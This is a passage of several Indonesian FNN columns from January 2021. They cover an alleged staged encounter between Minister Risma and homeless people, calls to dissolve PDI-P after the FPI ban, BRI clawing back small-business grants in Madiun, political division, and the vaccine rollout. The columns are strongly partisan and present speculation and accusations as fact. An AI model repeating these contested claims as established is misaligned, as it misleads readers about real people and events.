Sudirman-Thamrin. Sebuah jalan protokol, etalase Jakarta. Bagaimana dengan dua gelandangan lain? Satu orang seperti pengakuan Nursaman bernama Rizal. Sementara sang perempuan, tidak diketahui nama dan keberadaannya. Temuan Mengagetkan Adanya “gelandangan” yang “ditemukan” Risma di koridor Sudirman-Thamrin ini memang sangat mengagetkan. Bukan hanya bagi mereka yang berkantor dan beraktivitas di kawasan itu. Tapi juga bagi Pemprov DKI. Wagub DKI Ahmad Riza mengaku sangat heran. Seumur-umur dia tidak pernah menemukan kejadian aneh tapi nyata itu. Padahal dia sudah tinggal di Jakarta sejak usia 4 tahun. Koridor Sudirman-Thamrin adalah kawasan utama. Sejak “dahulu kala” menjadi daerah terlarang bagi gelandangan dan pengemis. Dulu disebut gepeng. Kawasan perkantoran, hotel dan tempat perbelanjaan prestisius ini, setiap hari dilewati para petinggi negara. Para diplomat, dan juga tamu-tamu negara ketika berkunjung ke Indonesia, juga melewatinya. Di ujung Utara koridor ini, kita akan menemukan Istana Merdeka. Kawasan Ring 1. Harus benar-benar steril. Jadi bagaimana ceritanya tiba-tiba ada gelandangan? Hebatnya yang menemukan seorang Risma. Seorang menteri yang baru dilantik, kurang dari dua pekan. Kemana saja para menteri yang lain? Kemana saja Gubernur DKI Anies Baswedan? Karena kejanggalan inilah — netizen menyebutnya sebagai drama korea (drakor)— langsung terbongkar. Pertama, setting drakor ini salah lokasi. Kelihatannya pengatur laku tak begitu memahami kota Jakarta. Kedua, salah casting. Salah pilih pemeran. Di Jakarta ini banyak sekali gelandangan. Cukup diberi uang Rp 100-150.000 mereka pasti bersedia bila diminta untuk memerankan diri sendiri. Tanpa harus berpura-pura. Ketiga, salah skenario. Pengatur laku tampaknya terlalu bernafsu. Mereka tidak memperhatikan detil. Mulai dari lokasi, sampai asesoris yang dikenakan. Para “gelandangan” itu punya kesamaan. Sangat sadar protokol kesehatan. Maskernya baru. Standar yang dijual di apotek. Salah satu gelandangan juga diketahui membawa hp android lengkap dengan earphone. Canggih banget! Nampaknya sukses membuat aksi blusukan di bantaran sungai, kolong jembatan, dan kolong jalan, membuat abai. Mereka mencoba membuat kisah lebih spektakuler. Koridor Sudirman-Thamrin dipilih menjadi panggung besar sekelas Braodway. Masalahnya, karena terlalu bernafsu. Tidak menguasai medan, kurang observasi. Tidak memperhatikan detil. Panggung sandiwara besar itu langsung terbongkar. Sejak heboh Risma blusukan, kemana arahnya akan bermuara, sebenarnya sangat mudah terbaca. Penunjukan Risma, dari seorang walikota menjadi Mensos, mempunyai beberapa misi besar. Pertama, mengalihkan isu korupsi bansos yang melibatkan seorang kader dan Wakil Bendahara Umum PDIP Juliari P Batubara. Kedua, mendowngrade kinerja Gubernur DKI Anies Baswedan. Anies adalah ancaman nyata yang harus segera diaborsi, jauh sebelum pelaksanaan Pilpres 2024. Ketiga, branding dan mendongkrak popularitas Risma. Poin terakhir ini tampaknya erat kaitannya dengan skenario jangka panjang PDIP menguasai Jakarta, sekaligus Indonesia. Apakah semua skenario besar itu salah? Tentu saja tidak. Dalam politik hal itu sah-sah saja. Namanya juga usaha. Cuma ada satu syarat yang tampaknya dilupakan. Apa itu? Seperti halnya korupsi, semua boleh dilakukan, dengan satu syarat! Tidak ketahuan. End Penulis adalah Wartawan Senior FNN.co.id.

FPI, HTI, PKI, PDI-P, Mana Yang Lebih Berbahaya?

by Tjahja Gunawan Jakarta, FNN - Kamis (07/01). Di tengah gencarnya aksi pencitraan yang dilakukan Mensos Tri Rismaharini atau Risma, di dunia maya khususnya Twitter yang sedang ramai dan menjadi trending topic adalah tagar bubarkan PDI-P. Itu menjadi trending topic Twitter pada hari Senin 4 Januari 2021. Topik tersebut awalnya diunggah oleh seorang netizen dengan akun @PutraErlangga_ yang menampilkan foto Mantan Mensos Juliari Peter Batubara. Sebelum tagar ini muncul, Pakar Hukum Refly Harun juga pernah membahas keinginannya untuk melihat pemerintah membubarkan partai yang suka korupsi, meski tidak menyebutkan nama partainya. “Udeh Pantas Ni Tagar Jadi Tersangka TT, #BubarkanPDIP, Apakah Anda Setuju..?,” tulis akun twitter @PutraErlangga_ hari Senin, 4 Januari 2021, pukul 10.27 WIB. Di hari Senin itu, tidak kurang dari 14.300 cuitan yang menggunakan hastag ‘Bubarkan PDIP’. Isi cuitannya rata-rata tentang luapan kemarahan warganet karena beberapa kader partai berlambang banteng itu terlibat korupsi, diantaranya anggota PDI-P Harun Masiku dan Mantan Mensos Juliari Peter Batubara yang juga Wakil Bendahara PDIP. Seperti diketahui, Harun Masiku merupakan nantan calon anggota legislatif dari PDIP yang ditetapkan sebagai tersangka oleh Komisi Pemberantasan Korupsi (KPK). Penetapan tersangka dirinya terkait kasus dugaan suap terhadap Komisioner Komisi Pemilihan Umum (KPU), Wahyu Setiawan. Suap tersebut dilakukan Harun Masiku agar dirinya dapat menggantikan Nazarudin Kiemas yang telah meninggal dunia untuk lolos ke DPR-RI dari daerah pemilihan Sumatera Selatan I. Namun, hingga kini Harun Masiku masih buron dan menghilangkan diri. Sementara nantan Mensos Juliari Peter Batubara sebelumnya ditetapkan sebagai tersangka kasus dugaan korupsi pengadaan bansos di wilayah Jabodetabek. Parpol Korupsi, FPI Dibubarkan Mantan Mensos Juliari Batubara diduga telah melakukan korupsi Rp 17 Miliar yang dia gunakan untuk keperluan pribadinya sendiri. Selain hastag ‘Bubarkan PDIP’ yang trending di twitter, petisi yang berjudul ‘Bubarkan PDIP Partai Anarkis’ di laman Change.org pun kembali muncul ke permukaan. Petisi ini telah ditandatangani oleh 109.488 orang dari target 150.000 orang. Alih-alih membubarkan partai korup, pemerintah justru malah membubarkan Ormas Islam FPI. Kenyataan ini jadi mengherankan masyarakat. Betapa tidak, yang korupsi kader parpol tapi yang dibubarkan malah FPI. Dengan logika ini saja masyarakat bisa menilai rezim pemerintah sekarang sudah berlaku tidak adil, membubarkan Ormas semaunya tanpa diketahui kesalahan hukumnya melalui proses persidangan. Masyarakat yang bukan bagian dari Ormas Islam pun, akan menaruh simpati dengan FPI. Apalagi sebelum ormas ini dibubarkan, didahului dengan pembunuhan secara keji terhadap enam laskar FPI. Oleh karena itu wajar kalau sekarang ada tuntutan terhadap pembubaran PDI-P. Masyarakat sudah banyak melihat praktek-praktek ketidakadilan saat ini. Untuk itu hal yang terkait dengan korupsi yang dilakukan kader PDI-P harus diselidiki sampai tuntas dan dihukum secara adil. Dalam kaitan ini, KPK didesak untuk bisa menyelidiki secara tuntas kasus korupsi Bansos yang dilakukan Wakil Bendahara PDIP Juliari Batubara. Desakan tersebut antara lain disampaikan Jaringan Pemuda Islam (JPI) yang melakukan aksi ke Kantor KPK, Kuningan, Jakarta Selatan, Rabu siang (6/1). JPI mendesak agar KPK memeriksa putra Presiden Joko Widodo, Gibran Rakabuming Raka terkait dugaan keterlibatan di kasus dugaan suap bansos Covid-19 berupa sembako untuk wilayah Jabodetabek 2020. Ketua Umum JPI, Yaban Ibnu mengatakan, aksi dilakukan untuk merespons pemberitaan yang menyebutkan adanya dugaan keterlibatan Gibran dalam perkara yang menjerat Juliari Peter Batubara selaku Mensos. Dalam pemberitaan Tempo disebutkan bahwa, Gibran telah memberikan rekomendasi PT Sri Rejeki Isman Tbk (Sritex) kepada Juliari Batubara untuk mengerjakan pengadaan goodybag dalam distribusi bansos. "Kami meminta KPK untuk segera memeriksa 'anak Pak Lurah' yaitu Gibran Rakabuming atas dugaan keterlibatan korupsi dana bansos," ujar Yaban Ibnu kepada Kantor Berita Politik RMOL di lokasi aksi unjuk rasa, Rabu siang (6/1). Selain itu kata Yaban, pihaknya juga meminta KPK untuk menindaklanjuti keterlibatan oknum-oknum lainnya yang disebut dalam investigasi majalah Tempo edisi 21-27 Desember 2020 yang berjudul "Korupsi Bansos Kubu Banteng". "KPK berani bongkar, KPK hebat," pungkasnya. Aksi yang mendesak KPK untuk memeriksa Gibran juga telah dilakukan oleh Pergerakan Masyarakat Madani (Permadani), Selasa siang (5/1). Pemberitaan aksi masyarakat ke Gedung KPK tersebut memang tidak seramai pemberitaan aksi blusukan Mensos Risma, salah satu orang yang dekat dengan Ketua Umum PDI-P Megawati Soekarnoputri. Aksi pencitraan Mensos baru ini seolah ingin menutup kasus kejahatan korupsi yang dilakukan mantan Mensos Juiari Batubara. Berbagai upaya telah dilakukan untuk mengalihkan isu korupsi bansos. Tidak hanya melalui aksi pencitraan yang dilakukan Mensos Risma tetapi dengan aksi politik kekuasaan yang dilakukan pemerintah terhadap Ormas Islam. Setelah membubarkan Front Pembela Islam (FPI), belum lama ini tiba-tiba rezim Jokowi memecat Asep Agus Handaka Suryana sebagai Wakil Dekan Bidang Sumberdaya dan Organisasi di Fakultas Perikanan dan Ilmu Kelautan (FPIK) Universitas Padjadjaran (Unpad) Bandung. Dia dipecat secara sepihak karena dianggap mempunyai latar belakang yang terkait dengan Hizbut Tahrir Indonesia (HTI). Kenapa saya menyebut ini pemecatan sepihak ? Ya karena tidak dilakukan melalui proses peradilan yang fair dan terbuka. Banyak masyarakat yang tidak mengetahui keterlibatan Asep Agus Handaka di HTI. Tiba-tiba sekarang dipreteli jabatannya di Kampus Unpad. Perguruan tinggi negeri seperti Unpad yang sudah berdiri cukup lama seharusnya lebih mengedepankan aspek keterbukaan serta tata cara berpikir logis dan ilmiah. Tidak membuat keputusan yang merugikan civitas akademika Unpad. Dari kasus ini menunjukkan kepada kita sebagai masyarakat bahwa sekarang ini dunia perguruan tinggi sudah tidak memiliki indepedensi. Perguruan tinggi sudah menjadi kepanjangan kepentingan penguasa dan pemilik modal. Dengan begitu, intervensi politik kekuasaan bisa menimpa kampus manapun terutama PTN. Mengingat pemecatan terhadap Asep Agus Handaka tidak dilakukan secara terbuka melalui proses hukum di pengadilan, masyarakat pun jadi bertanya-tanya. Apa sebenarnya kesalahan hukum Asep Agus Handaka ? Apakah salah dia pernah ikut sebagai anggota HTI? Kapan dia ikut terlibat di ormas tersebut? Bukankah HTI sudah dibubarkan pemerintah sejak tàhun 2017 ? Katakanlah Asep Agus Handaka mantan anggota HTI, kenapa dia dilarang menjabat di kampus negeri seperti Unpad ? Sementara para mantan anggota PKI boleh mencalonkan diri sebagai pejabat baik di DPR maupun di pemerintahan ? Pertanyaan selanjutnya, apakah HTI pernah membunuh para santri dan kiai seperti yang dilakukan PKI pada tahun 1948 dan 1965 ? Mana yang lebih berbahaya, FPI, HTI, PKI atau PDI-P ? Apakah waras jika ormas Islam seperti HTI atau FPI yang selama ini hanya menjalankan dakwah amar ma'ruf nahi munkar serta aktivitas kemanusiaan lainnya, tiba-tiba dibubarkan tanpa melalui proses hukum yang adil ? Sementara PDI-P yang jelas-jelas memiliki banyak kadernya yang terlibat tindak pidana kejahatan korupsi malah justru dibiarkan dan tidak dibubarkan. Saat ini PDIP memang merupakan partai yang sedang berkuasa, sehingga logika politiknya sulit untuk bisa membubarkan partai ini. Tapi kalau melihat sejarah tumbangnya rezim Orde Baru, desakan masyarakat terhadap pembubaran Golkar sebagai partai penguasa waktu itu, terjadi setelah rezim Orba tumbang tahun 1998. Namun desakan masyarakat itu pun tidak terwujud karena Golkar bisa dengan cepat bermetamorfosis dan ganti baju menjadi Partai Golkar. Sekarang akankah desakan terhadap pembubaran PDI-P akan terus bergulir ? Atau desakan ini baru akan bergulir kencang nanti setelah rezim ini berakhir seperti halnya yang dialami Golkar pasca tumbangnya rezim Orde Baru ? Kita lihat saja nanti. Wallohu a'lam bhisawab. Penulis adalah Wartawan Senior FNN.co.id.

Soal Tarik Paksa Dana Nasabah, BRI Madiun Plintat Plintut

by Bambang Tjuk Winarno Madiun, FNN - Kamis (07/01). Otoritas Bank BRI Cabang Madiun berputar putar dan terasa mbulet, dalam memberikan keterangan soal adanya dugaan penarikan ulang secara paksa dana nasabah, pelaku usaha kecil menengah, yang terlanjur diterima lewat program Banpres Produktif Usaha Mikro (BPUM), sebagai kebijakan ekonomi Presiden Jokowi. Penilaian itu disampaikan Bambang Gembik, personil LSM Garda Terate Madiun, saat pihaknya bersama beberapa jurnalis media digital, melakukan konfirmasi kepada Bank BRI Cabang Madiun, Kamis (7/1). Dalam konfirmasi itu Bank BRI diwakili Herman Rusadi, Assistant Manager Bank BRI setempat. Menurut Gembik, nama lapangan Bambang Gembik, selain menyampaikan jawaban secara muleg, Herman Rusjadi juga terbaca mulai melempar tanggung jawab kepada pihak lain, yang dalam hal ini pihak Kementerian Koperasi dan UKM. Kepada jurnalis Herman Rusjadi mengatakan, pembekuan rekening nasabah penerima BLT UMKM dalam program BPUM tersebut, atas dasar verifikasi ulang yang diminta beberapa pihak yang mengusulkan, termasuk Kementerian Koperasi dan UMK. "Jadi kami (Bank BRI Cabang Madiun) hanya diminta melakukan verifikasi ulang terhadap penerima bantuan oleh Kemenkop dan UKM. Misalnya, kami mengirimkan foto lokasi maupun sosok penerima bantuan, kemudian kita kirim kepada Kemenkop dan UKM," kata Herman Rusjadi. Sementara menurut Indra Setyawan, Kepala Dinas Perdagkop dan UMKM setempat, bahwa verifikasi bagi wira usaha kecil menengah, sebagai syarat menerima bantuan tersebut, sesuai aturan, dilakukan kolegial antara BRI dan Kementerian Koperasi dan UKM sejak awal pem-verifikasi-an. "Terkait bantuan itu, calon penerima bisa mendaftar di Disperdagkop atau BANK BRI setempat. Mengacu Permenkop tentang BPUM, yang menyetujui dapat atau tidaknya bantuan tersebut, adalah tim Kemenkop dan Bank BRI selaku penyalur dana," jelas Indra Setyawan. Sikap bernada bantahan soal verifikasi ulang hingga berujung dipenggalnya tanpa konfirmasi, sejumlah dana nasabah penerima bantuan juga ditegaskan Gembik. "Nasabah yang sudah valid dan mendapat bantuan dana, dibilang tidak valid pada verifikasi berikutnya. Apakah saat verifikasi awal petugasnya gila. Kemudian verifikasi berikutnya diisi petugas yang waras. Apa begitu? Ini gak masuk akal, bahkan akal akalan ini namanya, Mas," tukas Gembik dengan culasnya. Terkait jumlah penerima bantuan dana BPUM di wilayah kota dan kabupaten setempat, pernyataan Herman Rasjadi, menurut Gembik juga berputar putar. Di awal, Herman Rusjadi mengaku jumlahnya sebanyak 21.698 penerima. Namun saat dikonfirmasi ulang dia mengatakan, jumlah tersebut adalah targetnya. Sedangkan jumlah pihak yang menerima bantuan, hingga saat ini, tercatat baru mencapai 17 ribu orang, kurang sekitar 4 ribu orang. Melihat jumlah itu Gembik menduga, tidak menutup kemungkinan jumlah korban tarik ulang dana bantuan BPUM, bahkan berujung tragis sang nasabah justru punya hutang Bank BRI, mencapai ribuan orang. "Saya mendapat sampel tiga orang nasabah yang sudah jadi korban. Jika melihat jumlahnya begitu banyak, dimungkinkan jumlah korban bisa mencapai ribuan atau bahkan puluhan ribu," teriak Gembik emosi. Gembik yang saat itu langsung bertandang ke Kantor Kejaksaan Negeri Kota Madiun, guna menindak lanjuti kasus tersebut, masih terkendala para pejabat setempat yang tidak berada di tempat. "Para pejabat banyak yang keluar kantor, Mas. Rapat dan ada keperluan lain," tutur resepsionis Kejari Kota Madiun, yang dibenarkan sekuriti setempat. Seperti diberitakan sebelumnya, para pelaku usaha kecil dan menengah di wilayah Kabupaten Madiun, Jawa Timur, mendadak tidak mempercayai policy ekonomi Presiden Jokowi lewat Banpres Produktif Usaha Mikro (BPUM) yang tersalurkan program bantuan langsung tunai (BLT) UMKM. Hal itu baru disadari setelah bantuan yang sudah diterima usahawan kelas teri tersebut ditarik kembali pihak BRI, bahkan masih dikenakan kewajiban membayar sejumlah utang. Sedikitnya tercatat 3 orang wira usaha berbagai bidang, yang dimintai konfirmasi jurnalis atas musibah yang menimpanya. Mereka masing masing Rini, warga Desa Klecorejo, Kecamatan Mejayan, Yuliana, warga Madiun dan Riana, warga Kecamatan Manguharjo, Madiun Kota. Rini yang didampingi Yitno, suaminya, kepada jurnalis, Rabu (06/1), merinci kisah sedihnya yang diawali saat dia mendaftar BLT UMKM via daring pada Agustus tahun lalu. Beberapa hari usai pendaftaran yang hanya berbekal nomor KTP nya itu, dia mendapat jawaban yang menyatakan pihaknya layak mendapat bantuan tersebut. Bantuan sebesar Rp. 2.400.000 tersebut langsung nangkring di rekeningnya pada 15 Agustus 2020. Rini langsung mencairkan dana tersebut, lantaran segera digunakan untuk mengembangkan usahanya di bidang penjualan baju muslim secara online. Namun sirnalah kegembiraan itu. Pasalnya, dana sebesar Rp. 1.200.000 yang ditransfer Winata, warga Tanjung Pinang, Kepulauan Riau, yakni konsumen pemesan baju muslim, pada Senin (4/1), itu lenyap saat hendak dicairkan Rini. "Jadi uang dari konsumen itu mau saya belanjakan untuk memenuhi pesanannya. Ternyata kartu ATM saya kosong. Bahkan saya malah dinyatakan punya hutang BRI sebesar Rp. 1.200.000," ungkap Rini. Makin memilukan saat dia meminta penjelasan kepada pihak BRI setempat, atas bencana yang dialaminya. Rini, menurut petugas BRI, sesuai verifikasi lanjutan ternyata tidak memenuhi syarat sebagai penerima bantuan. Pihak BRI, menurut Rini, membekukan rekeningnya lantaran rekening tersebut terdaftar sebagai penerima bantuan, yakni Banpres Produktif Usaha Kecil (BPUM) yang tersalurkan lewat program BLT UMKM. "Bantuan itu tidak menyenangkan. Tapi malah menyusahkan. Bagaimana tidak, saya jadi pontang panting kalau begini ini. Masih dianggap punya hutang BRI lagi," keluhnya. Pihak BRI, menurut Rini, akan mengaktifkan kembali rekening bank nya jika dia sudah mengembalikan utangnya kepada BRI sebesar Rp. 1.200.00. Sementara LSM Garda Terate Madiun yang mendengar persoalan ini, langsung bereaksi keras dan segera melanjutkan laporannya ke Kejaksaan setempat. Kepada jurnalis yang menemuinya terpisah, Bambang Gembik, personil LSM Garda Terate Madiun, menilai bantuan itu dapat dikatakan praktek 'akal akalan' pemerintah berkedok membantu. "Bantuan pemerintah kepada pelaku usaha kecil lewat program BLT UMKM itu gratis. Cuma cuma alias hibah. La kok dibilang hutang oleh BRI. Katakanlah kalau benar nasabah hutang, apakah BRI punya bukti otentik yang menyatakan nasabah itu pinjam uang?," bentak Gembik. Lebih lanjut Gembik menyoroti cara BRI menagih pinjaman kepada nasabah, yang dlakulan dengan cara langsung memangkas dana dari rekening milik nasabah tanpa konfirmasi yang berhak. Yang lain, cetus Gembik, bab pembekuan rekening nasabah dengan alasan yang bersangkutan tidak memenuhi syarat pada verifikasi lanjutan, dianggap sebagai alasan orang tidak waras. "Begini ya. Kalau memang benar ada verifikasi lanjutan, itu artinya verifikasi pertama belum fix. Belum final. Lah kalau belum final kenapa uang bantuan kok sudah ditransfer kepada nasabah? Waras gak ini?," hardiknya. Sebagaimana dikutip Antara, Selasa (25/8/2020), Presiden Jokowi menegaskan, "Sekali lagi Banpres produktif ini perlu saya sampaikan ini adalah hibah, bukan pinjaman, bukan kredit, tapi hibah,”. Disambung Gembik, kasus tersebut diduga menimpa ribuan pelaku usaha kecil dan menengah di wilayah Madiun, yang tertatih tatih mencari bantuan dana modal guna mengembangkan usahanya. Sementara Asisten Manager Bisnis Mikro BRI Cabang Madiun, Herman, yang hendak dikonfirmasi jurnalis di kantornya, Jalan Pahlawan Madiun, ternyata tidak berada di tempat. "Bapak tidak ada di kantor. Sedang pergi keluar kantor," tutur pria gendut, yang enggan namanya di online kan, namun bersedia disebut posisinya sebagai Resepsionis BRI setempat. Resepsionis itu juga enggan memberikan nomor seluler Herman, saat diminta jurnalis untuk konfirmasi, dengan alasan pihaknya tidak mengetahui seluler Herman. Untuk menuntaskan kasus ini, LSM Garda Terate Madiun, menurut Gembik, segera mengumpulkan bukti bukti dari para korban untuk secepatnya dimasukkan ke Kantor Kejaksaan setempat, sebagai laporan. (fin) Penulis adalah Pelaku UMKM.

Keterbelahan Yang Makin Dalam

Jakarta FNN - Kamis (07/01). Sangat menarik mencermati sinyalemen seorang politisi tentang “jenderal tua” yang dia yakini ikut memperkeruh situasi politik Indonesia saat ini. Seolah-olah, menurut politisi itu, pemerintah Jokowi terlalu banyak mendengarkan masukan dari para “pemain tua” dalam mengambil kebijakan, khususnya kebijakan politik. Kalau dilihat sejak awal pemerintahan periode pertama 2014-2019, ada benarnya bahwa kebijakan politik Presiden Jokowi terasa sangat dipengaruhi oleh cara berpikir para politisi lama yang militeristik. Padahal, Jokowi semula diharapkan akan menjadi katalisator menuju Indonesia yang lebih demokratis dan lebih futuristik. Maksud futuristik bukanlah konsep angan-angan, melainkan konsep yang lebih tajam dalam bervisi masa depan. Mengapa Jokowi diharapkan menjadi figur katalisator? Karena ia mewarisi dan seharusnya melanjutkan periode transisi demokratis dari Presiden Susilo Bambang Yudhoyono (SBY). SBY berperan sangat besar dalam membangun pondasi “civil society” yang akan mendasari perubahan total menuju sistem demokrasi yang relatif bersih dari kesewenangan dan ketidakadilan. Ternyata itu tidak terjadi. Jokowi terjebak ke dalam “cara lama” dalam menyelesaikan masalah-masalah politik. Dia malah memundurkan upaya keras SBY untuk mewujudkan pengelolaan negara tanpa kekerasan politik dan politik kekerasan. Tidak begitu jelas di kilometer berapa Jokowi terjerembab ke dalam jebakan “cara lama” itu. Bisa jadi di kilometer 50. Wallahu a’lam. Akan tetapi, sangat jelas bahwa Jokowi membalikkan pondasi “civil society” yang dibangun SBY selama 10 tahun memerintah. Presiden Jokowi yang “dicintai” rakyat karena kelihatannya merakyat itu, mengajak masuk para “pemain tua” yang dirujuk sebagai “jenderal tua” itu. Jokowi pun mendengarkan mereka. Tentang cara menghadapi elemen bangsa yang telah didemonisasikan sejak lama sebagai pengganggu. Dalam konsep politik kekerasan si “jenderal tua” alias “pemain tua”, umat Islam garis lurus harus dilihat sebagai musuh penguasa. Jokowi menerima dan mengadopsi thesis “sikat habis” yang dibangun dan dijabarkan oleh para “pemain tua” tempo hari vis-a-vis umat Islam garis lurus yang distigmakan sebagai pengganggu itu. Jebakan “jenderal tua” menjadi sempurna ketika Jokowi secara implisit menyetujui pemberangusan alias “sikat habis” FPI dan semua yang terkait dengan Habib Rizieq Shihab (HRS). Tindakan penguasa dalam menjabarkan “sikat habis” itu sangat keras beraroma konsep kekerasan politik “jenderal tua”. Inilah yang memicu politisi yang disebut pada bagian awal tadi mencuitkan kegerahannya. Sebab, politik “sikat habis” pasti akan meninggalkan luka-luka berat di kalangan umat Islam. Bagi para “pemain tua” mungkin itu tidak masalah. Karena selama ini mereka bisa selalu lolos dari jerat hukum. Akan tetapi, politik kekerasan tidak hanya beraspek hukum yang bisa dikendalikan oleh para “pemain tua” di masa lampau. Politik kekerasan juga meninggalkan kepahitan yang boleh jadi tidak mudah untuk dihilangkan dari memori perasaan dan sistem ‘lobus frontalis’ umat Islam. Artinya, politik kekerasan yang diterapkan oleh para penguasa terhadap elemen yang seolah dijadikan musuh abadi itu, tidak mungkin bisa terus-menerus diredam dengan memompakan kesabaran ke dalam dada umat. Sebab, secara natural, semua hal yang bergerak pasti akan menemukan titik klimaks. Perasaan, termasuk perasaan disakiti atau sakit hati, adalah benda yang bergerak. Ia tidak statis. Sebaliknya bisa menjadi sangat dinamis. Bisa bergolak menjadi sesuatu yang memiliki daya ledak yang sangat kuat. Ingat, kata “dynamic” (dinamis) dan “dynamite” (bahan peledak) masih berada dalam satu rumpun. Jika keduanya berbaur terlalu dekat, dikhawatirkan bisa menimbulkan persoalan besar. Alhamdulillah, umat Islam sangat elegan. Dalam suasana penindasan yang sangat ekstrem pun masih bisa mengendalikan diri. Ini yang membuat kita pantas bersyukur. Tetapi, siapa pun yang masih berpredikat manusia, pastilah terikat dengan aksioma titik klimaks tadi. Kita semua berharap agar hal itu tidak menjelma. Sangat mungkin klimaks itu bisa terhindarkan. Akan tetapi, suasana yang bisa kita rasakan saat ini adalah keterbelahan bangsa yang semakin dalam. Jika dibiarkan terus keterbelahan bangsa ini, tidak menutup kemungkinan terjadinya perpecahan bangsa, sesuatu yang tidak kita inginkan terjadi. Artinya, biarlah penghinaan, penistaan, penindasan, ketidakadilan, dan lain-lainnya berlangsung tanpa henti, asalkan persatuan semu yang diinginkan oleh para penguasa saat ini bisa terjaga.**

Satgas Covid-19, “Vaksin Bukan Obat!”

by Mochamad Toha Surabaya, FNN - Kamis (07/01). Ada pernyataan menarik yang ditulis CNN Indonesia, Senin (28/12/2020 11:01 WIB), dikutip dari laman resmi #SatgasCovid-19. Di laman resminya, #SatgasCovid-19 meluruskan bahwa vaksin tidak sama dengan obat, vaksin tak bisa disebut sebagai obat suatu penyakit. “Vaksin bukanlah obat. Vaksin mendorong pembentukan kekebalan spesifik pada penyakit Covid-19 agar terhindar dari tertular ataupun kemungkinan sakit berat,” begitu tulisan di laman Satgas Covid-19, Minggu (27/12/2020). Sekitar 1,2 juta dosis calon vaksin Covid-19 yang berada di PT Bio Farma, Kota Bandung, Jawa Barat, mulai didistribusikan ke provinsi. Vaksin Sinovac tersebut masih terus diawasi penelitiannya oleh Badan Pengawas Obat dan Makanan (BPOM). Setelah ada vaksin yang memegang persetujuan edar dan guna dari BPOM, maka vaksinasi nasional akan dilakukan. Tenaga medis menjadi kelompok prioritas yang akan terlebih dahulu menerima vaksin Covid-19. Menteri Keuangan Sri Mulyani Indrawati sendiri telah mengamankan anggaran senilai Rp 54,44 triliun untuk pemenuhan vaksin corona atau covid-19 secara gratis kepada masyarakat pada 2021. Kementerian PPN atau Bappenas mengungkapkan, Indonesia sudah memesan sekitar 371 juta dosis vaksin covid-19. Vaksin tersebut dipesan dari beberapa perusahaan farmasi asing. Menurut Deputi Bidang Ekonomi Bappenas Amalia Adininggar Widyasanti, angka pesanan itu diperoleh dari Komite Penanganan Covid-19 dan Percepatan Pemulihan Ekonomi Nasional (KPC-PEN). “Secara total sampai 2022 ada 371 juta vaksin, itu sudah direncanakan dalam KPC-PEN,” ujarnya dalam konferensi pada akhir tahun Kementerian PPN/Bappenas, Senin (28/12/2020). Vaksin covid-19 dipesan untuk kedatangan pada 2021 dan 2022 mendatang. Detailnya, Indonesia telah memesan vaksin covid-19 dari Sinovac sebanyak 116 juta dosis pada 2021 dan Novavax sebanyak 52 juta dosis di 2021. Lalu, vaksin covid-19 dari Pfizer Inc and BioNtech 45 juta dosis di 2021, AstraZeneca 50 juta dosis dan terakhir Covax sebanyak 12 juta dosis. Covax adalah inisiatif WHO dengan membuat aliansi untuk mendapatkan vaksin bagi negara yang besar maupun akses financial terbatas. Nantinya, vaksin yang berasal dari aliansi Covax itu merupakan vaksin yang ada di pasaran seperti AstraZeneca, Pfizer hingga Sinovac. “Jika semua sudah diorder 3 merek terakhir saya sebutkan ada 275 juta vaksin yang akan bisa diperoleh 2021,” tambahnya. Selain itu, Indonesia juga telah memesan kebutuhan vaksin covid-19 untuk 2022 mendatang. Vaksin dari Sinovac dan Novavax dengan total sebanyak 87 juta dosis. Sebelumnya, pemerintah telah mendatangkan vaksin Sinovac sebanyak 1,2 juta dosis pada Minggu (6/12/2020). Selanjutnya, kloter berikutnya akan datang sebanyak 1,8 juta dosis, sehingga totalnya mencapai 3 juta dosis. Kemenkes sudah menetapkan 6 jenis vaksin covid-19 yang dapat digunakan di Indonesia. Keenam vaksin tersebut diproduksi oleh PT Bio Farma (Persero), AstraZeneca, dan China National Pharmaceutical Group Corporation (Sinopharm). Selanjutnya, ada vaksin covid-19 buatan Moderna, Pfizer Inc and BioNtech, serta Sinovac Biotech. Keputusan ini tertuang dalam Keputusan Menkes Nomor HK.01.07/ Menkes/ 9860/ 2020 tentang Penetapan Jenis Vaksin Untuk Pelaksanaan Vaksinasi Covid-19. Namun, 6 vaksin tersebut baru bisa digunakan ketika mendapatkan izin edar atau persetujuan penggunaan pada masa darurat (Emergency Use Authorization-EUA) dari Badan Pengawas Obat dan Makanan (BPOM). Seperti dilansir Merdeka.com, Senin (4 Januari 2021 16:16), Kepala BPOM Penny K Lukito mengingatkan, vaksin Covid-19 Sinovac yang sudah didistribusikan ke sejumlah daerah itu belum boleh disuntikkan. Sebab, masih belum mengantongi izin EUA. “EUA masih berproses, tapi vaksin sudah diberikan izin khusus untuk didistribusikan karena membutuhkan waktu untuk sampai ke seluruh daerah target di Indonesia,” kata Penny kepada wartawan di Jakarta, Senin (4/1/2021). Ia mengatakan, seperti diberitakan Antara, proses penyuntikan vaksin Covid-19 hanya boleh dilakukan jika sudah mendapatkan EUA. BPOM akan terus mengevaluasi uji klinis Sinovac di Bandung. Selain itu, BPOM akan terus mengkaji secara seksama berbagai hal terkait vaksin Covid-19, termasuk data dari berbagai negara terkait uji klinis antivirus SARS-CoV-2 tersebut. Menariknya, meskipun belum mengantongi EUA dari BPOM, ternyata Menkes Budi Gunadi Sadikin mengatakan penyuntikan Vaksin Covid-19 dilakukan serentak di 34 provinsi pada 13 Januari 2021. Menurutnya, hal tersebut bertujuan untuk meningkatkan kepercayaan dan partisipasi tenaga kesehatan dan publik dalam program vaksinasi gratis bertahap. “Arahan Bapak Presiden jelas, akan dilakukan secara serentak, diawali di pusat, kemudian dilanjutkan di daerah, melibatkan tokoh masyarakat dan kalau ada tokoh kesehatan atau figur dokter yang berpengaruh, misalnya, untuk diikutsertakan,” ucapnya, Selasa (5/1/2021). Sebagai Menkes, seharusnya Budi Gunadi tidak boleh memaksakan percepatan evaluasi atas suatu hasil uji klinis vaksin Sinovac. Evaluasi uji klinis itu tidak bisa disamakan dengan uji laboratorium seperti potensi tambang yang sebelumnya digelutinya. Sebagai Presiden, Joko Widodo juga tidak boleh menekan Menkes agar segera memvaksin nakes, sebelum BPOM mengizinkan EUA. Sebab, uji klinis pada relawan itu juga tak sama dengan uji laboratorium hasil hutan yang bisa dihitung waktunya. Jadi, seharusnya Menkes tidak bisa memutuskan vaksinasi dimulai pada 13 Januari 2021, padahal BPOM baru akan mengumumkan pada 15 Januari 2021. Tim riset uji klinis vaksin corona Fakultas Kedokteran Universitas Padjadjaran mengatakan, hasil uji keamanan dan efikasi vaksin Covid-19 Sinovac di Bandung akan diumumkan pada 15 